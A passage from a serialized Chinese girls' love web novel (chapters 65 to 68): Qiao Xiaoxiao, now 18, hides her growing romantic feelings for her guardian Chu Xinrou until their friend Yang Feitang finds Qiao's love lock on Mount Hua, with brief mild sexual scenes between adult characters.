潇潇对她一如既往,第一句嘱咐她的就是:“别的事儿先放下,宁姐,回去看看奶奶吧,她很想你,我们的事儿,她不知道,她老了……” 王宁眼泪控制不住的流。 面对这样的“恩情”,她如果不去拼尽全力报答,她良心一辈子不会安。 八月份的时候,她已经把钱都还给了潇潇,心里的大石头松了一点,王宁还要继续努力,她要把利息也还了。 …… 乔潇潇在外面为了事业奔波。 可是苦了家里的杨绯棠了。 杨姐姐这顿火锅吃的,简直是如坐针毡。 什么麻酱咸了、筷子拿错了、丸子太烫了是不是故意的?、居然还给她倒凉水…… 楚心柔一顿饭,找茬找出了花,到最后,杨绯棠忍无可忍,“啪”的把筷子拍在了桌子上,她盯着楚心柔,一字一吐的说:“一人做事一人当,你有气冲崽子去发啊,关我什么事儿?!” 楚心柔被这么一吼,喉的似乎有点懵了,呆呆地看着她。 杨绯棠:…… 哎呀。 谁能受得了楚心柔这水汪汪的大眼睛这样看? 杨绯棠顿时泄了气,无奈地安抚:“她们就是出去吃个饭,你要是不开心,就让潇潇回来啊。” 从前总觉得自己是个醋坛子,如今看来,楚心柔才是吃醋界的开山祖师。 雾气氤氲中,楚心柔的眼神渐渐飘远:“你说,她接了白绯的花,下一步,是不是就是接她的戒指。” 杨绯棠:? 袅袅雾气下。 楚心柔的声音轻得像一缕烟,“这边的房价这么贵,如果白绯买不起……潇潇会随着她去义乌么?夏天高温湿热,冬天湿冷……她受得了那里的环境么?” 杨绯棠:?? 楚心柔眼睛有些热热的,她仰着头:“潇潇吃的多,拉的多,脾气也不好……对着别人不会说客套话,一年四季就爱穿半袖……她照顾的了她么?她——” “哎,停停停。” 杨绯棠简直是无语至极了,她看着楚心柔:“你这是嫁女儿呢?谁跟你说潇潇喜欢她的?” 楚心柔眨了眨眼,化不开眸中的水汽,“不是她说的么……喜欢岁数大的么?” 杨绯棠:??? 楚心柔仰头看着天花板,声音已经有些哽咽了,“我是不会跟着她去的,到时候,潇潇也有照顾的人了,我就可以放心了……她……也不需要我了吧。” 杨绯棠:…… 她已经放弃治疗了。 她甚至想,楚心柔是不是已经帮乔潇潇和白绯把未来孩子的名字起好了。 楚心柔哼哼唧唧半天,刚开始,语气还很羸弱,到最后,她似越说越哀怨,忍不住问:“你为什么叫杨绯棠?” 杨绯棠:??? what??? 楚心柔冷冷地看着她,“这个“绯”字不好。” 就在杨绯棠被说emo的关键时刻,“咔嚓”一声,门响了。 楚心柔立马用手背擦了擦眼睛,装作无事人一样夹菜,还给杨绯棠倒了一杯水:“别总吃,一会儿再上火了,喝点水。” 杨绯棠:…… 乔潇潇一进来就看见俩人在吃“独食”,有点不乐意了,明知故问,“在聊什么呢那么开心?火锅都吃上了?” 楚心柔坐的板板正正,不去理她。 忍了一晚上的杨绯棠带着一股子大仇将报的快意感,喊着:“在聊你嫁入白家后的精彩生活!!!” 楚心柔:…… 乔潇潇:……??? 【作者有话说】 乔潇潇:啥? 楚心柔摊手:我没有。 66 第66章 ◎她的视线像是被那一抹红定住了一样,动弹不得。◎ ——在聊你嫁入白家后的精彩生活。 杨绯棠这一声喊,喊得自己贼痛快,喊的楚心柔慌的把头都埋进饭碗里了。 乔潇潇愣了一下,本来没明白怎么回事儿,还以为自己听错了,可看姐姐这“做贼心虚”的模样,她笑了,“还有肉么?我也吃。” 杨绯棠抬头,看了眼她:“你不是吃了吗?” 乔潇潇洗了手,大咧咧地坐下,看了眼还在假装扒饭的姐姐,勾着唇角:“在外面吃饭,吃几口就得放筷子。” “哎呦,有偶像包袱了?” “可不是么?我现在可是乔总。” …… 杨绯棠看着乔潇潇一阵子无语,“我看你这巴掌大的脸也没二两肉,脸皮就占了一斤。” 乔潇潇才不跟她斗嘴,她夹了一块鱼豆腐,给楚心柔:“姐姐,吃吧,我回来了。” 这话,让楚心柔抬起了头,她盯着乔潇潇看,眼圈还有些微红。 乔潇潇又是心疼又是暗爽的,还不能表现出来,一本正经地说:“我俩就去工厂看了看,没有别的。” 其实,隐隐的,她也能感觉出白绯看她的目光不同,有时候会灼灼含情。 可先不说年龄和其他,她的一颗心都被楚心柔占的满满登登,再容不下其他。 楚心柔盯着她看了一会儿,幽幽地说:“我没有舍不得你,你不用暗自开心,更不用把嘴角扬上天。” 杨绯棠:^0^ 乔潇潇:…… 乔潇潇开饭了,不过是十分钟的时间,杨绯棠已经看直眼了。 真是能能出来乔总在外面“腼腆矜持”,回家来释放狂野了。 乔潇潇把二斤牛肉饕餮一般席卷了之后,又开始去冰箱翻腾,一边翻一边说:“姐姐,你给我加点水。” 楚心柔点头,起身去给她加水。 杨绯棠心惊胆战地看着她,“不是妹妹,你这真是第二顿么?” 可不是么? 掏出两斤羊肉的乔潇潇坐在椅子上吐槽,“我在外面吃饭,都得装淑女,一边吃一边用纸巾擦嘴。” 楚心柔笑了,杨绯棠也呲着大牙花子,“我看那白绯挺喜欢你的啊,还给你送花。” “哎,对了,你不说我都忘记了。”乔潇潇四处看了看,“我花呢?听说就那一束五百多呢。” 虽然现在的乔总已经不过是过去的她了,但是骨子里对钱的执着还是没有变。 五百块钱,这是什么概念? 够当时的潇潇一学期的生活费了。 哪怕是现在她肉随便吃,乔潇潇也不会忘了,当初开学的时候,她一个人缩在角落里啃馒头的心情。 “慢点吃。” 楚心柔怕她烫着嘴,“冰箱里还有呢。” 从潇潇高二下学期开始,楚心柔就买了一个大的冰柜,专门用来冻肉。 潇潇这一吃饭,不夸张的说跟拖拉机似的,能吃她跟杨绯棠一个星期的量,以前的小冰箱根本不够用。 之前楚心柔是小鸟胃,杨绯棠每次来家里拉开冰箱就几个干巴巴的水果,哪像是现在,她一打开冰箱跟酒店似的,蔬菜、水果、饮料、熟食……一应俱全。 杨绯棠喝了口饮料,正要哼着小曲告辞,这火锅汤越煮越热,弄的她一身火锅味。 可才刚转了一个身,她就感觉一只小脚脚甚至不鬼不觉地贴在了她的脚背上,蠢蠢欲动。 杨绯棠瞪圆眼睛看着楚心柔,怎么,要威胁她么?她杨绯棠是能被威胁的人吗?! 楚心柔不动声色地给乔潇潇夹菜,说:“你杨姐姐对你今晚的行程很关注。” 乔潇潇眼睛盯着火锅丸子,“关注什么?” 杨绯棠正要说“我才不关注!”,小脚脚落下了,拧着踩了踩,她倒吸一口凉气,立即改了音调:“内什么,你们今晚都干什么去了?怎么这会儿才回来?” 乔潇潇用看“老年痴呆”的眼神看了她一眼,“走的时候不都说了吗?吃饭,去工厂选址的地方转了转。” 杨绯棠立即愤怒地去看楚心柔,就差挥拳头了。 ——你看看嘛!人家纯洁的狠,根本没有把你潇潇拐走的意思。 乔潇潇吃了口香菜,看着杨绯棠:“我花呢?” 杨绯棠冷哼一声,瞥了楚心柔一眼,“你楚姐姐说闻着挺香。” 乔潇潇点头,是挺香,当时她抱着闻了半天。 杨绯棠:“秉着物尽其用的原则,给你放厕所去熏臭味了。” 乔潇潇:…… 沉默了片刻,乔潇潇望向楚心柔,眼里写满了不信。 经过她和杨绯棠这么几轮来回,楚心柔已经恢复了状态,她平静地看着潇潇:“你吃这么多,想必一会儿就能去厕所欣赏了。” 乔潇潇:…… 这是一种很奇怪的心态,大概就类似于那种“我不好过你也别想着好过”,本来杨绯棠还挺愤怒的,可一看楚心柔无差别扫射,把乔潇潇也给打成了筛子,心情瞬间大好。 吃饱喝足,她走到客厅里,拿了一个包装袋递了过来。 “这是什么?” 乔潇潇迟疑地看了她一眼,杨绯棠挤眉弄眼,“十八岁的礼物,保送的礼物。” 那包装袋看着挺精致,看形状,乔潇潇以为会是什么电脑之类的,等她打开一看,尖叫出声。 “啊!!!” 爱马仕包包! 杨绯棠非常享受,摇头晃脑的:“潇潇,我知道你节省,但是女孩子么,关键时刻还是要拿出点像样的东西。” 她当时买的时候,楚心柔还很反对,“你不要这样,潇潇不会喜欢的。” 杨绯棠:“她也老大不小了,你还总把她当小孩呢?等回头上大学了,那氛围跟高中可不一样,她这个小包包一拎,谁敢看不起她?” 楚心柔还是不乐意,“你这是以貌取人!” 看看! 杨绯棠冲楚心柔挤眉弄眼,她说什么来着?潇潇肯定会喜欢吧? 乔潇潇在手上比划了一圈,看了看杨绯棠:“杨姐姐,这真是你买的?不是偷的莜莜姐的吧?” “我靠,你个死崽子,你怎么这么瞧不起人?” 杨绯棠愤怒回击,乔潇潇美滋滋地继续插刀:“你不是破产了么?” 杨绯棠:…… 乔潇潇放下包,走过去抱住了杨绯棠,“杨姐姐,我很喜欢,谢谢你,这个包,特别适合我去谈生意用,我会好好珍惜的。” 的确珍惜的很好。 以至于十几年后,杨绯棠看着乔潇潇依旧拎着这包出去谈生意的时候,整个都惊呆了,“十年了,乔潇潇,你是铁公鸡吗?你赚那么多钱,不知道给自己换个包?” …… 把杨姐姐的包放下了,乔潇潇扭头去看楚心柔,眼里都是期待。 楚心柔笑了笑,把准备好的锦盒递了过去,“我的,没有你杨姐姐那么珍贵,是手工做的。” 乔潇潇迫不及待地打开一看,的确是姐姐定制的,是CX字母的抽象缩写,是楚心柔花了许久设计的,那个C流动着就像是一个心一样包裹着X,整个图案既像缠绵的丝带,又似交握的双手,将许许多多的感情都凝结在这方寸之间。 就连杨绯棠看着都羡慕,“我说心柔,你也太偏心眼了,我们认识这么久,你都没给我设计一个。” 乔潇潇的反应更直接,她已经迫不及待地走到了楚心柔的身边,把头发拨拉到脖颈一侧,“姐姐,你给我戴上。” 楚心柔温柔地摸了摸她的发,接过了项链,解开尾端的扣环,小心翼翼地给她戴上,指尖偶尔擦过乔潇潇后颈的肌肤,酥麻感让她缩了缩脖子。 “好了。”随着咔哒一声轻响,楚心柔将扣环扣好。 乔潇潇的眼睛亮晶晶的,手不时去摸坠子,嘴唇咧到耳后根去了。 旁边围观的杨绯棠:…… 哎。 她应该在车底,不应该在车里。 杨绯棠走了之后,乔潇潇麻利的把餐桌都收拾了,楚心柔心情不错,坐在沙发上,一边喝红酒一边微笑地看着。 乔潇潇嘴不停的跟她讲着今晚的见闻。 “我们去那个工厂看了,姐姐,特别大,得有五六百平。” “如果能把供货厂放在那,会省很多事情,运输压力和成本也会大大的降低。” “到时候,我还可以把精力更多的放在经营和设计上。” “现在我有精力了,可以适当的扩大规模,提升一下大家得福利待遇。” “但是我看白姐姐她有些犹豫,也理解,毕竟钱是一分一分赚的,谁都会怕这么一投下去打水漂。” …… 楚心柔听了,想了想问:“如果是你,你会买还是租?” 如果资金足够,她也是倾向于买的。 这个问题,乔潇潇已经想过了,毫不犹豫的脱口而出:“我会买。” 楚心柔偏了偏头,眼里泛着莹莹的光:“为什么?” 这跟两年前做些什么,反复思考,犹豫不觉得乔潇潇完全不同。 乔潇潇手擦着桌子,眼睛盯着姐姐:“因为我有退路,有底气。” 经历了上次,一切都被夺走,都毁之一旦的突发事件后,乔潇潇成长了不少。 那段时间,楚心柔和杨绯棠都陪着她,身边聚集了那么多爱她关心她的人,一点点把那从小就伴随她的恐慌失去的黑洞,一点点填满。 失败了又如何? 大不了重头再来。 她有姐姐。 乔潇潇知道,无论何时,楚心柔都会站在她的身后。 楚心柔本来看潇潇这笃定自信的样子还挺开心的,可脑海里突然浮现出白绯那张脸,她纤长的睫毛轻轻颤了颤,声音里带着自己都没察觉的酸涩:“你现在不一样了,像是星空一样,身边聚集的人越来越多,你看,你白姐姐就是。” 乔潇潇手中的动作一顿。她放下东西,走到楚心柔面前时,唇角还噙着狡黠的笑意:“姐姐,你吃醋了?” 这句话像颗火星,“轰”地烧红了楚心柔的耳尖,她仓皇别过脸去,发丝垂落掩住绯红的面颊:“我才没有。” 什么没有? 她的一颗心,简直都被泡在醋里了。 人性,或许本来就是两面的。 楚心柔一方面为了乔潇潇长大成熟不再自卑而感到开心,一方面,又因为雏鸟羽翼丰满,终究有一日会飞出家而患得患失。 有时候,她甚至还怀念当初那个什么都不懂,连呼吸都小心翼翼的孩子。 乔潇潇忽然张开双臂,将姐姐整个拥入怀中,在她耳边郑重地说:“姐姐,我不管其他人会怎么变,我只告诉你,纵使星河变幻,我永远都是围着你转的那颗星星。” 她不会离开的。 那比杀了她还难受。 “当然。”乔潇潇补充了一句:“你要是烦我了,我得走。” 楚心柔没有回话,而是身子一颤,用力地抱紧了她。 …… 深夜的卫生间里,水龙头滴答作响。 乔潇潇坐在厕所上,指尖无意识地摩挲着颈间的吊坠。月光透过磨砂玻璃,在瓷砖上投下朦胧的光晕,那簇摆在洗手台中央的鲜花在夜色中依然娇艳。 她忽然想起杨绯棠临走时,拽着她衣袖说的悄悄话。那些话语像蜜糖般在心头化开,甜得她忍不住咧嘴笑成了傻子。 “你姐姐啊……”杨绯棠当时压低的声音仿佛还在耳边,“就是个嘴硬的死傲娇。这不是第一次了,之前就惦记着你要报大学,虽然不说,但是很怕你考出去呢。” “知道你报本市的交大之后,那几天,她画画都哼着小曲,翘着兰花指,啧啧,那小劲儿拿捏的。” “潇潇,别的我不敢保证,可楚心柔,我认识了她这么多年,对别人,她从来没有这样过。” 说到最后,杨绯棠自己都心酸了,对她也没这样过啊! 她一天天跟楚心柔比乔潇潇更“爱”谁多一点,一天天又酸楚心柔对崽子那么好。 还是薛莜莜咬住她的脆弱,仰头看着她,“人家俩的事儿,你跟着掺和什么?你放心,你永远都是她们最亲的亲人。” 杨绯棠身子蜷缩了一下,呼吸破碎,还嘴硬:“我看她们俩最好。” 薛莜莜折磨着她,“那是不一样的。” 爱情与友情怎么会一样的呢? 她很期待,未来有一天,杨绯棠看着两个人走在一起之后,目瞪口呆的模样。 …… 乔潇潇的手指轻轻描摹着吊坠上“C”的弧度,那是姐姐一笔一划设计的,冰凉金属早已被她的体温焐热,就像此刻胸腔里翻涌的暖意。 原来她早已成为姐姐的牵挂。 这比什么千金万金都要珍贵。 她轻手轻脚地推开卫生间的门,发现客厅里只亮着一盏昏黄的落地灯。楚心柔蜷缩在沙发上睡着了,如瀑的黑发散落在靠垫间,在灯光下泛着绸缎般的光泽,白皙的脸颊透着淡淡的粉,红唇微启,呼吸均匀而绵长。 乔潇潇不自觉地放轻了呼吸,蹑手蹑脚地蹲在沙发前看了一会儿,她抬起手,轻轻地把姐姐把嘴边的碎发拨开。 盯着楚心柔的睡颜,乔潇潇心头涌起一股难以言喻的柔软。 这是她的姐姐啊。 在背后默默的看着她,保护着她,让她一回头就可以扑进怀里点温柔湾。 乔潇潇的心柔软的一塌糊涂,她的指尖缓缓地抚上那精致的眉眼,顺着高挺的鼻梁,慢慢的下移……视线像是被那一抹红定住了一样,动弹不得。 潇潇的手指不受控制地颤抖着,在距离那抹嫣红仅剩一寸时堪堪停住。胸腔里的心跳声震耳欲聋,仿佛下一秒就要冲破肋骨的桎梏。 温热的吐息在两人之间交织成网,乔潇潇能闻到姐姐唇间残留的红酒香气,混合着若有似无的茉莉芬芳。 她艰难的吞咽了一下口水。 【作者有话说】 明后天叶子要出去玩,更新时间不固定在十点哈,跟大家说一声。 67 第67章 ◎年下不叫姐,心思有点野。◎ 那一抹嫣红唇色,在乔潇潇心底点燃了燎原之火。她的目光如同被施了咒,死死黏在那微启的唇瓣上,连呼吸都变得小心翼翼。 或许是从*小饱尝人间冷暖,潇潇的情感发育总比同龄人迟缓半拍。当校园里的少男少女们为青涩.爱恋悸动时,她正为温饱而拼尽全力。 那些本该萌动的情愫,都被生活碾成了碎末。 直到遇见楚心柔。 此刻她半边身子悬在沙发边缘,右手无意识地攥紧了沙发缝线。两人呼吸交织成网,满是勾人诱.惑的茉莉香。她能数清楚心柔睫毛投下的阴影,能看清唇纹间残留的淡粉色唇膏。 呼吸相闻…… 那么香,那么撩。 她们的唇几乎已经贴在了一起,只差毫厘之际,睡梦中的楚心柔被潇潇额头垂落的碎发戳的微微蹙眉,嘟囔了一声,“潇潇……” 一声梦呓惊碎了冲动。 乔潇潇触电般弹开,后背撞上茶几上,心跳声震耳欲聋,她疼的闷哼一声,楚心柔受惊睁开了眼睛,看着乔潇潇疼得龇牙咧嘴的模样,赶紧坐起身子:“怎么了?” 姐姐的眼神里满满的都是担心与紧张,看的乔潇潇满心的愧疚,她摇着头,胡乱地说谎:“看你睡着了,想叫你进屋去睡,一不小心碰着茶几了。” “我看看,受伤了吗?” 楚心柔说着,不由分说地掀起乔潇潇的衣角。 在她心里,乔潇潇哪怕是长成擎天柱,也一样是那个需要她呵护,小小的孩子。 可在乔潇潇的心里,她早就不是姐姐了。 她的目光徐徐地在潇潇的背上查看,只是这样,潇潇就感觉自己的后背绷紧,起了鸡皮疙瘩,可楚心柔似乎还不肯放过她一般,抬起手,轻轻地抚着:“都磕青了,怎么那么不小心?” 指尖微凉的触感像电流般窜过脊椎,激得潇潇浑身绷紧。 肌肤相贴的每一寸都像被点燃,灼烧感蔓延至四肢百骸。 乔潇潇猛地拽下衣摆,慌乱起身,声音发紧:“我没事儿,姐姐……我困了,先睡了!” 她猛地起身,几乎是落荒而逃。 留下手还没来得及放下得楚心柔一个人错愕在原地。 …… 夜色如墨,欲.望在黑暗中疯长。 乔潇潇蜷缩在被窝里,指尖不自觉地绞紧了床单。那些被理智压抑的念头此刻如野草般疯长——姐姐含笑时眼尾的细纹,俯身时垂落的发丝,还有那总是带着淡淡茉莉香气的体温。 再也没办法忍了。 手指颤抖着探入睡衣下摆时,她咬住了自己的手腕。 生涩的触碰……脑海中全是楚心柔为她擦药时微凉的指尖。 罪恶感与渴望在胸腔里撕扯,每一次喘息都带着灼热的温度。 “姐姐……” 破碎的呜咽溢出唇畔时,泪水已经浸湿了枕巾。 乔潇潇望着天花板的双眼盈满水光,蜷起的脚趾慢慢松开,整个人像是从水里捞出来般湿漉漉的,她失神地看着天花板许久许久,缓缓地闭上了眼睛。 姐姐…… 到底要等到什么时候? …… 没了高考的压力。 乔潇潇把更多的时间投入到了赚钱上来,一天到晚不着家的,比上学的时候更忙了。 杨绯棠不乐意了,晚上跟着薛莜莜吐槽:“你说潇潇怎么回事?一天到晚那么忙?回家的时候,那小眼睛贼溜溜的,不知道做什么坏事了。” 薛莜莜沉默了一会儿,问:“是跟你贼溜溜么?” 杨绯棠摇头:“那哪儿能?我一直很受欢迎,跟她没什么代沟,是跟心柔那老土炮。这孩子也是,就这一年啊,好像突然长了很多心事,总是憋着。” 薛莜莜在心底重重地叹了口气,憋了这么久也是可怜。 她想了想说:“你不是一直想爬山么?你们这周去爬山吧。” 杨绯棠可是一个说做就做的人,她当天下午就宣布了,“周日去爬华山啊,我把机票什么的都定好了,谁要是不去,就是把巴掌打我得脸上。” 楚心柔点了点头,高考前是旅游最黄金的时段,她看着潇潇最近心是有点重,正好带她出去散散心。 她知道潇潇一直很上进,从最初见到她的时候,楚心柔就知道这孩子自尊心强,什么事儿都要自己争取。 她欣慰于潇潇的成长,却也感叹她为此错失的风景。 还是希望她在即将到来的大学生活,能过的不这么辛“苦”。 要说旅游。 乔潇潇从小到大也没有为了欣赏风景或者放松去过哪儿。 她本来是想拒绝的,可看姐姐充满期待的眼神没忍心,一说要出去玩,潇潇立即就有点困顿了,她才张嘴要打哈气,杨绯棠一巴掌呼了过来。 “好呀,你真敢不给你杨姐姐面子?!反了你个小崽子!” 无辜被打的乔潇潇:??? 楚心柔在旁边笑了,她走过去,摸了摸潇潇的脸:“晚上就别出去了,准备准备,嗯?” 乔潇潇立即低下了头,“嗯,好。” 因为离得近。 所以杨绯棠清晰地捕捉到了潇潇的脸从白到红的变化,她眯了眯眼睛。 什么情况? 现在这么害羞么? 乔潇潇是个行动派,她已经拿出手机开始罗列清单了,“不是很远,我们去三天的话,带的行李不需要太多,姐姐,背我那个大包就行,你体力不行,如果背着包爬会累的,酒店我来看看,我——” 她话还没说完,杨绯棠突然走了过来,抬起手,摸了一把她的脸。 乔潇潇愣了愣,看着她,“干啥?” 杨绯棠半眯着眼睛,又抬起手,摸了一下。 乔潇潇:??? 这种事儿,要是放在别人身上,乔潇潇得让她看不到明天的太阳,可因为是杨姐姐,这样的间歇性抽风的事儿又没少出现,她也就没多想,继续叨叨着:“酒店按天定吧,我们第二天还可以去西安吃肉夹馍、油泼面——杨姐姐,你到底干嘛?!” 在杨绯棠又一次摸上脸颊之际,乔潇潇爆发了,楚心柔笑呵呵的没理俩人,去收拾行李去了。 杨绯棠若有所思地盯着乔潇潇看了一会儿,问出了直戳核心重点的一句话:“为什么心柔摸你,你脸就红,我摸你,你就一点反应没有?” “咚”的一声,乔潇潇感觉自己的心都凝固了,她侧头去看杨绯棠,杨绯棠长长的睫毛眨动,认真地要个答案出来。 深呼吸,乔潇潇尽量克制着自己的表情,笑着说:“因为你总摸我啊,姐姐很少。” 杨绯棠一副“你骗鬼”的表情:“放屁,她明明每天都在摸你!” 乔潇潇已将僵住了。 这时候,楚心柔走了过来,摸了杨绯棠的脸一把。 杨绯棠失声尖叫,一把捂住了自己的脸,“你干嘛?!” 楚心柔笑盈盈地看着她,“你的脸好红啊。” “啊啊啊啊啊!!!我得清白没了!薛总不让别人碰我的,完了完了,回去后,我得被家法伺候了,楚心柔,你还笑!” 眼看着两个姐姐闹在了一起,乔潇潇在旁边心情复杂。 她一方面为了消除怀疑而开心,另一方面,又为姐姐这么“相信”自己而有一些难过…… 在楚心柔的眼里,她永远都是那个单纯的妹妹呢。 当天晚上。 乔潇潇就接到了薛莜莜的电话。 电话那边,薛总的声音冷的结冰,“杨绯棠真的是被心柔摸的?” 而此时,杨绯棠正被她跨坐着压在身下,不着寸缕的身子上色彩斑斓,她一点反抗的力气都没有了,竖着耳朵听着乔潇潇这决定她生死大权的回答。 潇潇愣了一下,问:“怎么,杨姐姐呢?” 薛莜莜冷哼一声,“在我身下呢。” 乔潇潇毕竟是受过“刺激”的人,她一听,坏笑着眯着眼睛说:“嗯,是呢,我姐姐一摸她,她脸就红了。” 杨绯棠:…… TMD!!! 这崽子不做人啊! …… 一夜的折磨。 第二天,杨绯棠恶狠狠地白了乔潇潇一眼,一上飞机就睡死过去了。 这是潇潇第一次坐飞机,有些紧张,楚心柔一直握着她的说,柔声安抚:“没事儿的。” 她感觉到乔潇潇手心的汗,干脆一伸手,将她搂着靠在了自己的肩膀上,“要是太害怕,就闭上眼睛。” 乔潇潇靠着楚心柔的肩膀,感觉好了点,她平时就有些恐高,刚才好奇地往窗户外面望,被吓到了。 楚心柔心疼了,“下次我们不坐飞机了,坐高铁。” 乔潇潇脸色有些白,“我怕耽误时间。” 楚心柔轻轻地叹了口气,她侧头看着潇潇,“潇潇。” “嗯。” 只要靠着姐姐,乔潇潇就觉得安心,她身上的茉莉香,可以驱走一切惶恐与不安。 “姐姐知道,你上进又努力,争分夺秒,但是享受生活也很重要,松弛有道,知道么?” “嗯……姐姐,你喜欢和我出来玩么?” “喜欢。” 楚心柔用纸巾擦了擦她鼻尖的汗,她是真的喜欢,从出家门,到打车,再到安检登机,潇潇都安排的妥当,她提前查了攻略,虽有有很多东西见也没见过,但是都会细心地在一边观看,学一遍就会。 杨绯棠虽然被坑的一直懒得理潇潇,但不得不在心里冲她家崽子竖大拇指,这服务质量,简直把楚心柔伺候的跟皇太后似的。 只是…… 有些疑惑,一旦有了缝隙,就会越来越深。 杨绯棠现在是越看乔潇潇对楚心柔越是觉得有点不对劲儿,具体个怎么不对劲儿法,她也说不出来,但肯定跟之前那种单纯的姐姐妹妹不一样了。 潇潇也没想到,这次华山之行,会将自己对姐姐的感情暴露在最重要的人面前。 她们到了酒店,稍做休息,就准备趁着凉快去爬山。 一听说乔潇潇要徒步爬山,杨绯棠第一个跳出来嚷嚷:“谁要是拦着我坐缆车,我就将她推向奈何桥。” 楚心柔当机立断,看着乔潇潇,发号施令:“走,带你杨姐姐去奈何桥!” 杨绯棠:…… 这爬山啊。 大概是这世上最痛苦又最充满期待的事儿。 乔潇潇虽然脚受过伤,但是体力一直都是常人没办法比的,到现在,她也是雷打不动的每天五公里。 小小华山,轻松拿捏。 她爬到东道院的时候,只是微微出汗。 杨绯棠已经赖着坐在地上不起来了,休息了三次都不动,楚心柔也有些累,但是乔潇潇一直牵着她的手,把她们俩的包都背过来了。 每一次,楚心柔累的停下来休息的时候,乔潇潇都会把已经准备好的水递给她。 楚心柔对着她轻声说:“潇潇,我感觉你长大了。” 已经能照顾人了。 她当然长大了。 她早就不是最初的她了。 山风突然静止的刹那,乔潇潇站在高一阶的石台上转身。阳光穿透云层,在她周身镀了层金边。少女的嗓音混着松涛声,清晰得像是要刻进楚心柔的骨髓:“我已经十八了,楚心柔。” 这是她第一次没有叫楚心柔姐姐。 楚心柔愣在了原地,以为自己听错了,下意识地去看杨绯棠。 杨绯棠也是有点愣,她不可思议地看着乔潇潇:“你说什么?” 乔潇潇笑而不语,她看了看前面的小摊:“杨姐姐,我还是去给你买登山杖吧,你这么走下去,咱们天黑也爬不上去。” 眼看着乔潇潇离开。 楚心柔和杨绯棠面面相觑。 缓和了半天,杨绯棠才对楚心柔说:“她没叫你姐,叫的你名字,你听到了么?” 楚心柔点头,“我又不聋。” 杨绯棠:…… “你也就知道跟我这儿使厉害,刚才对着潇潇,怎么不直接问啊?” 楚心柔抿着唇,看着乔潇潇的背影,缓缓地说:“绯棠,你说……她为什么不叫我姐姐了?” 难不成,她在外面有了别的姐姐? “哎呦,我的老天爷,不可能啊,我给你看着呢,她就你这一个宝贝姐姐。”杨绯棠现在是真的害怕“吃醋狂魔”楚姐姐了。 楚心柔幽幽地望着乔潇潇离开的方向,“她长大了,她——” “我知道,幼鸟总会离家,你的潇潇,也总会飞出去,哎呀,快别瞎想了,我看她看的你眼神,温柔的都能挤出水,跟情人——” 话还没说出口,杨绯棠给咽了下去,她瞪大了眼睛,卧槽,她在想什么? 楚心柔心不在焉没听到她最后一句话,她低着头,百度着。 ——为什么一直叫姐姐的妹妹,突然不叫姐姐了? 网页搜出来,第一个回答闪瞎人眼。 ——年下不叫姐,心思有点野。 这都什么东西啊? 这一路爬山,杨绯棠简直是累的都牙疼了,到最后,没办法,楚心柔和乔潇潇先走一步,她在后面慢慢爬。 爬到西峰的时候,乔潇潇给楚心柔买了水,把自己的衣服铺在地上,让姐姐休息一会儿。 楚心柔十分放松,站在最高点,她还真有一些华山论剑的澎湃心情。 乔潇潇贴着她坐下,楚心柔很自然地把头靠在了她的肩膀上,“我看你刚才在那买什么锁。” 乔潇潇的脸有点热:“嗯,人有点多,排队来着。” 楚心柔摇头浅笑:“那都是骗人的,这一天爬华山的人成千上万,山神怎么会保佑每个人?” 起风了。 乔潇潇搂住楚心柔的腰,“图一个心里作用吧。” 心诚则灵。 她希望自己的虔心,能被山神感应到。 山神感应到不到,不知道。 她杨姐姐是感应到了。 等杨绯棠拄着登山杖,“哎呦、哎呦”地跟残疾人似的爬上来的时候,她看到那么多人买锁,摇头嘀咕了一声:“小傻子们。” 她话这么说,自己也跑到商贩面前:“哎,大姐,给我一个。” 杨绯棠在锁上认认真真地写下了她和薛莜莜的名字,呲着大牙,选了一个看着顺眼的地方挂上了,心情大好的去欣赏旁边的人挂的锁。 有些东西,冥冥中是注定的。 的确像是楚心柔说的那样,这一天爬山的千千万万的人。 挂了那么多锁。 眼花缭乱。 看都看不过来。 那么渺小的一个人,怎么会被看到? 可杨绯棠就是在这样千万的锁中,看到了熟悉的字迹,她本来还笑呢,拿出手机就拍:“看看,我看到了什么!” “哎呀,这是谁家崽子的字迹!” “我看看啊,写的这么小,写的是什么?” 杨绯棠翻过来,笑容满面的嘟囔着:“该不会是保佑她发财吧?愿我和楚心柔——” 脸色骤然变了,杨绯棠的手一抖,手机重重地摔在了地上。 【作者有话说】 叶子在网吧写的,一会儿捉虫哈 68 第68章 ◎愿我和楚心柔相爱。◎ ——愿我和楚心柔相爱。 字迹虽然小,但是写的很重,很清晰,黑色的笔,像是用什么东西一下一下凿在上面一般。 这是乔潇潇用了她全部虔诚之心写的,想要感动山神。 可山神什么反应,暂且不说,倒是惊吓到了杨绯棠。 那样热的天,刚刚还嚷嚷着要中暑的杨绯棠感觉有一盆冷水从头到尾的浇了下来,她腿都软了。 等楚心柔和乔潇潇从山上下来的时候,她还没缓过劲儿来,浑身无力地落在有阴凉的座椅上,两眼茫然地看着天。 怎么会这样啊…… 三年了,她虽然没有像是楚心柔一样,跟着乔潇潇住在一起,但也算是朝夕相处了。 她是真把潇潇当亲妹妹一样对待。 她一个人本来挺孤单的,薛莜莜偶尔才能过来,楚心柔无趣的很,对着她不苟言笑的,总是眉头紧锁心事重重的。可乔潇潇来了之后,一切都不一样了,她不仅有了“斗嘴”对象,好可以每天雷打不动的“蹭饭”,渐渐的,楚心柔脸上的笑容也多了很多,有时候,看她们俩“掐”的厉害,还会跳出来主持公道。 这三年,杨绯棠也亲眼看着乔潇潇是怎么一步一步从自卑敏感的小孩,成长的独当一面。 她不仅一次跟薛莜莜说:“我家崽子,不一般,这可是正经八本的白手起家,能做到现在这样的独当一面,不知道吃了多少苦,她那么小点一个人,硬是自己扛下来了。” 知道潇潇辛苦,所以杨绯棠才会在最初有事没事的到处溜达去“偶遇”崽子,她知道潇潇自尊心强,不会轻易开口求人,她就自己“上门”提供金牌帮助。 每一个黑夜,她看着崽子那么小小的一个人,站在摊位前,忙来忙去,看着他省吃俭用,不知道多心疼。 尤其是中途,出了王宁卷款那件事儿,当时杨绯棠都要承受不了了,可乔潇潇硬是咬牙淡定的安排了一切,才拖着瘸腿一个人躲起来。 杨绯棠是佩服潇潇的,是真的打心底里把她当妹妹疼着。 可是……可是…… 但凡是乔潇潇写的话,委婉一点,写一个什么——愿我和姐姐永远在一起啊或者愿我和楚心柔不分开啊…… 哪怕是早就起了疑心,可杨绯棠都能自欺欺人的安慰自己,这不过是纯粹的姐妹情。 可如今,青天白日,朗朗乾坤,那笔锋凌厉的“相爱”二字,劈开了一切伪装,直白的将乔潇潇的全部心思抛开捧了出来,扒开眼睛让她看。 …… “杨姐姐,你真该上去,登顶真的有一览众山小的感觉。” 